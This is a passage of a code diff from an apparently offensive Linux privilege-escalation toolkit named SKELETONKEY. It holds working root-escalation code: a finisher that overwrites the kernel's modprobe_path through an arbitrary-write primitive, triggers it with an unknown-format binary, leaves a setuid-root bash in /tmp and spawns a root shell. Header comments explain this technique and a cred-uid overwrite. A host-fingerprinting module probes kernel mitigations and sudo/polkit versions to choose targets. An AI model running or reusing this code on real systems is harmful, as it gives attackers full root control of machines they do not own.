snprintf(kbuf, sizeof kbuf, "%s", mp_path);
|
||||
|
||||
fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n",
|
||||
(unsigned long)off->modprobe_path, mp_path);
|
||||
|
||||
if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) {
|
||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||
* kernel sees the unknown format and parent stays alive. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid == 0) {
|
||||
char *argv[] = { trig_path, NULL };
|
||||
execve(trig_path, argv, NULL);
|
||||
_exit(127); /* execve failure is expected — kernel still calls modprobe */
|
||||
} else if (cpid > 0) {
|
||||
int st;
|
||||
waitpid(cpid, &st, 0);
|
||||
} else {
|
||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||
for (int i = 0; i < 30; i++) {
|
||||
struct stat st;
|
||||
if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n",
|
||||
pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid);
|
||||
goto have_setuid;
|
||||
}
|
||||
struct timespec ts = { 0, 100 * 1000 * 1000 }; /* 100 ms */
|
||||
nanosleep(&ts, NULL);
|
||||
}
|
||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
have_setuid:
|
||||
if (!spawn_shell) {
|
||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||
fflush(stderr);
|
||||
char *argv[] = { pwn_path, "-p", NULL };
|
||||
execve(pwn_path, argv, NULL);
|
||||
/* Only reached on execve failure. */
|
||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
(void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell;
|
||||
fprintf(stderr,
|
||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||
" the task list from init_task and find current). Modules with\n"
|
||||
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||
" instead — same root capability, simpler trigger.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
/*
|
||||
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||
* of two patterns:
|
||||
*
|
||||
* A) "modprobe_path overwrite":
|
||||
* - kernel arb-write at &modprobe_path[0] with a userspace path
|
||||
* - execve() an unknown-format binary triggers do_coredump's
|
||||
* fallback to call_modprobe(), which spawns modprobe_path
|
||||
* as init/root running our payload
|
||||
*
|
||||
* B) "current->cred->uid overwrite":
|
||||
* - kernel arb-write at ¤t_task->real_cred->uid = 0
|
||||
* (and cap_*, fsuid, etc. for completeness)
|
||||
* - setuid(0); execve("/bin/sh")
|
||||
*
|
||||
* Pattern (A) is much simpler — only one kernel address needed
|
||||
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
|
||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||
*
|
||||
* Modules provide their own arb-write primitive via the
|
||||
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_FINISHER_H
|
||||
#define SKELETONKEY_FINISHER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
#include "offsets.h"
|
||||
|
||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||
* negative on failure. `ctx` is opaque module state. */
|
||||
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx);
|
||||
|
||||
/* Trigger that fires the arb-write. Many modules need to set up the
|
||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||
* because some modules need to re-spray before each write. NULL is
|
||||
* acceptable if the arb-write is self-contained. */
|
||||
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||
|
||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||
* already populated `off->modprobe_path`. Implementation:
|
||||
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||
* and/or copies /bin/bash to /tmp with setuid root
|
||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||
*
|
||||
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Pattern B: cred uid overwrite. Caller has populated init_task +
|
||||
* cred offsets. Implementation:
|
||||
* 1. Walk task linked list from init_task to find self by pid
|
||||
* (this requires arb-READ too — not supplied here; B-pattern
|
||||
* modules need to provide their own variant)
|
||||
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||
* helpful error. */
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||
|
||||
#endif /* SKELETONKEY_FINISHER_H */
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint implementation
|
||||
*
|
||||
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||
* first call, stores into a file-static, and returns the same pointer
|
||||
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||
* no synchronisation needed.
|
||||
*/
|
||||
|
||||
#include "host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#endif
|
||||
|
||||
static struct skeletonkey_host g_host;
|
||||
static bool g_host_ready = false;
|
||||
|
||||
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||
|
||||
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||
* value (after `=`). Cap is the size of dst including NUL. */
|
||||
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||
{
|
||||
const char *p = s;
|
||||
if (*p == '"' || *p == '\'') p++;
|
||||
size_t L = strcspn(p, "\"'\n");
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, p, L);
|
||||
dst[L] = '\0';
|
||||
}
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||
static bool read_int_file(const char *path, int *out)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
int v;
|
||||
int n = fscanf(f, "%d", &v);
|
||||
fclose(f);
|
||||
if (n != 1) return false;
|
||||
*out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||
fclose(f);
|
||||
size_t n = strlen(dst);
|
||||
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── populators ───────────────────────────────────────────────────── */
|
||||
|
||||
static void populate_kernel(struct skeletonkey_host *h)
|
||||
{
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||
* does not warn about possible truncation (we WANT truncation;
|
||||
* the snprintf already caps). */
|
||||
snprintf(h->arch, sizeof h->arch,
|
||||
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||
snprintf(h->nodename, sizeof h->nodename,
|
||||
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||
}
|
||||
/* kernel_version_current owns the static release-string buffer
|
||||
* and the parser — reuse it to keep one source of truth. */
|
||||
kernel_version_current(&h->kernel);
|
||||
}
|
||||
|
||||
static void populate_distro(struct skeletonkey_host *h)
|
||||
{
|
||||
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0)
|
||||
parse_os_release_value(line + 3,
|
||||
h->distro_id, sizeof h->distro_id);
|
||||
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||
parse_os_release_value(line + 11,
|
||||
h->distro_version_id, sizeof h->distro_version_id);
|
||||
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||
parse_os_release_value(line + 12,
|
||||
h->distro_pretty, sizeof h->distro_pretty);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
static void populate_user(struct skeletonkey_host *h)
|
||||
{
|
||||
h->euid = geteuid();
|
||||
h->egid = getegid();
|
||||
h->is_root = (h->euid == 0);
|
||||
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||
|
||||
h->username[0] = '\0';
|
||||
struct passwd *pw = getpwuid(h->euid);
|
||||
if (pw && pw->pw_name)
|
||||
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||
|
||||
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||
* discover the outer uid if we're inside a user namespace. Format
|
||||
*
|
||||
* "0 0 4294967295" → init ns, outer == 0
|
||||
* "0 1000 1" → userns mapped, outer == 1000
|
||||
*
|
||||
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||
h->real_uid = h->euid;
|
||||
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
char buf[256];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
int inner = -1, outer = -1, count = 0;
|
||||
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||
inner == 0 && outer > 0)
|
||||
h->real_uid = (uid_t)outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void populate_platform_family(struct skeletonkey_host *h)
|
||||
{
|
||||
#ifdef __linux__
|
||||
h->is_linux = true;
|
||||
#else
|
||||
h->is_linux = false;
|
||||
#endif
|
||||
h->is_debian_family = path_exists("/etc/debian_version");
|
||||
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||
path_exists("/etc/fedora-release") ||
|
||||
path_exists("/etc/rocky-release") ||
|
||||
path_exists("/etc/almalinux-release");
|
||||
h->is_arch_family = path_exists("/etc/arch-release");
|
||||
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||
path_exists("/etc/SUSE-brand");
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||
static bool userns_probe(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return false;
|
||||
if (pid == 0) {
|
||||
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return false;
|
||||
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void populate_caps(struct skeletonkey_host *h)
|
||||
{
|
||||
h->unprivileged_userns_allowed = false;
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
|
||||
#ifdef __linux__
|
||||
h->unprivileged_userns_allowed = userns_probe();
|
||||
|
||||
int v = 0;
|
||||
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||
h->apparmor_restrict_userns = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||
h->unprivileged_bpf_disabled = (v != 0);
|
||||
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||
h->selinux_enforcing = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static void populate_services(struct skeletonkey_host *h)
|
||||
{
|
||||
h->has_systemd = path_exists("/run/systemd/system");
|
||||
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||
* succeeded, the command exited 0, and we got at least one line.
|
||||
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char buf[256];
|
||||
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||
int rc = pclose(p);
|
||||
if (!got || rc != 0) return false;
|
||||
size_t L = strlen(buf);
|
||||
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||
buf[--L] = '\0';
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, buf, L);
|
||||
dst[L] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Extract the version-string token from a line of the form
|
||||
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||
* version token is everything from the first non-space after
|
||||
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||
* found. */
|
||||
static void extract_version_after_prefix(const char *line,
|
||||
const char *prefix,
|
||||
char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
const char *p = strstr(line, prefix);
|
||||
if (!p) return;
|
||||
p += strlen(prefix);
|
||||
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||
dst[i++] = *p++;
|
||||
dst[i] = '\0';
|
||||
}
|
||||
|
||||
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||
{
|
||||
h->sudo_version[0] = '\0';
|
||||
h->polkit_version[0] = '\0';
|
||||
|
||||
char line[256];
|
||||
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "Sudo version",
|
||||
h->sudo_version, sizeof h->sudo_version);
|
||||
|
||||
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "pkexec version",
|
||||
h->polkit_version, sizeof h->polkit_version);
|
||||
}
|
||||
|
||||
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||
{
|
||||
if (g_host_ready) return &g_host;
|
||||
|
||||
memset(&g_host, 0, sizeof g_host);
|
||||
populate_kernel(&g_host);
|
||||
populate_distro(&g_host);
|
||||
populate_user(&g_host);
|
||||
populate_platform_family(&g_host);
|
||||
populate_caps(&g_host);
|
||||
populate_services(&g_host);
|
||||
populate_userspace_versions(&g_host);
|
||||
g_host.probe_source = "skeletonkey core/host.c";
|
||||
g_host_ready = true;
|
||||
return &g_host;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch)
|
||||
{
|
||||
if (!h || h->kernel.major == 0)
|
||||
return false;
|
||||
if (h->kernel.major != major) return h->kernel.major > major;
|
||||
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||
return h->kernel.patch >= patch;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_M, int lo_m, int lo_p,
|
||||
int hi_M, int hi_m, int hi_p)
|
||||
{
|
||||
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||
}
|
||||
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||
{
|
||||
if (json || h == NULL) return;
|
||||
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||
h->nodename[0] ? h->nodename : "?",
|
||||
h->is_root ? " (ROOT)" : "",
|
||||
h->is_ssh_session ? " (SSH)" : "",
|
||||
h->kernel.release ? h->kernel.release : "?",
|
||||
h->arch[0] ? h->arch : "?",
|
||||
h->distro_id[0] ? h->distro_id : "?",
|
||||
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||
h->apparmor_restrict_userns ? "on" : "off",
|
||||
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||
h->kpti_enabled ? "on" : "off",
|
||||
h->kernel_lockdown_active ? "on" : "off",
|
||||
h->selinux_enforcing ? "on" : "off",
|
||||
h->yama_ptrace_restricted ? "yes" : "no");
|
||||
if (h->sudo_version[0] || h->polkit_version[0])
|
||||
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||
h->sudo_version[0] ? h->sudo_version : "-",
|
||||
h->polkit_version[0] ? h->polkit_version : "-");
|
||||
}
|
||||
+142
@@ -0,0 +1,142 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint
|
||||
*
|
||||
* Populated once at startup, before any module's detect() runs. Every
|
||||
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||
* forking another userns probe.
|
||||
*
|
||||
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||
* pointer on every call. The first call probes; subsequent calls
|
||||
* are O(1) lookups.
|
||||
*
|
||||
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||
* the call, just leaves the corresponding bool false.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_HOST_H
|
||||
#define SKELETONKEY_HOST_H
|
||||
|
||||
#include "kernel_range.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct skeletonkey_host {
|
||||
/* ── identity ─────────────────────────────────────────────── */
|
||||
|
||||
struct kernel_version kernel; /* uname.release parsed */
|
||||
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||
char nodename[64]; /* uname.nodename (for log lines) */
|
||||
|
||||
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||
|
||||
/* ── process state ─────────────────────────────────────────── */
|
||||
|
||||
uid_t euid; /* geteuid() */
|
||||
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||
gid_t egid; /* getegid() */
|
||||
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||
bool is_root; /* euid == 0 */
|
||||
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||
|
||||
/* ── platform family ───────────────────────────────────────── */
|
||||
|
||||
bool is_linux; /* compiled / running on Linux */
|
||||
bool is_debian_family; /* /etc/debian_version exists */
|
||||
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||
bool is_arch_family; /* /etc/arch-release */
|
||||
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||
|
||||
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||
|
||||
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
/* ── system services ──────────────────────────────────────── */
|
||||
|
||||
bool has_systemd; /* /run/systemd/system exists */
|
||||
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||
|
||||
/* ── userspace component versions ─────────────────────────
|
||||
* Parsed once at startup via popen() of the relevant binary's
|
||||
* --version output. Empty string ("") means "tool not installed
|
||||
* or version parse failed" — modules should treat that as
|
||||
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||
* 0.105`, …); modules do their own range parsing. */
|
||||
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||
|
||||
/* Informational: the SKELETONKEY component that populated this
|
||||
* snapshot (for log/JSON output). */
|
||||
const char *probe_source;
|
||||
};
|
||||
|
||||
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||
* lives for the process lifetime. Probes happen lazily on the first
|
||||
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||
* subsequent calls are free.
|
||||
*
|
||||
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||
* the corresponding bool false. The function does not fail. */
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||
|
||||
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||
|
||||
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||
* false if h is NULL or its kernel version was never populated (major
|
||||
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||
* and one place to get the comparison right.
|
||||
*
|
||||
* Examples:
|
||||
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||
* return SKELETONKEY_OK;
|
||||
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||
* return SKELETONKEY_OK;
|
||||
*/
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch);
|
||||
|
||||
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||
* gates where the simple `kernel_range_is_patched` backport model
|
||||
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||
* lines" check.
|
||||
*
|
||||
* Equivalent to:
|
||||
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||
*
|
||||
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||
* `in_range` form is for the bounded interval case.
|
||||
*
|
||||
* Example:
|
||||
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||
* // introduction/fix dates (ignoring stable backports)
|
||||
*/
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_major, int lo_minor, int lo_patch,
|
||||
int hi_major, int hi_minor, int hi_patch);
|
||||
|
||||
#endif /* SKELETONKEY_HOST_H */
|
||||
+2
-2
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel_range implementation
|
||||
* SKELETONKEY — kernel_range implementation
|
||||
*/
|
||||
|
||||
#include "kernel_range.h"
|
||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
||||
if (uname(&u) < 0) return false;
|
||||
|
||||
/* Stash release string for callers that want to print it. We hold
|
||||
* a single static buffer; not threadsafe but iamroot is single-
|
||||
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||
* threaded today. */
|
||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||
out->release = g_release_buf;
|
||||
|
||||
+4
-4
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel version range matching
|
||||
* SKELETONKEY — kernel version range matching
|
||||
*
|
||||
* Every CVE module needs to answer "is the host kernel in the affected
|
||||
* range?". This file centralizes that.
|
||||
@@ -17,8 +17,8 @@
|
||||
* patch version is at or above the threshold.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
||||
#define IAMROOT_KERNEL_RANGE_H
|
||||
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||
#define SKELETONKEY_KERNEL_RANGE_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||
const struct kernel_version *v);
|
||||
|
||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
||||
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||
|
||||
+84
-33
@@ -1,58 +1,69 @@
|
||||
/*
|
||||
* IAMROOT — core module interface
|
||||
* SKELETONKEY — core module interface
|
||||
*
|
||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
||||
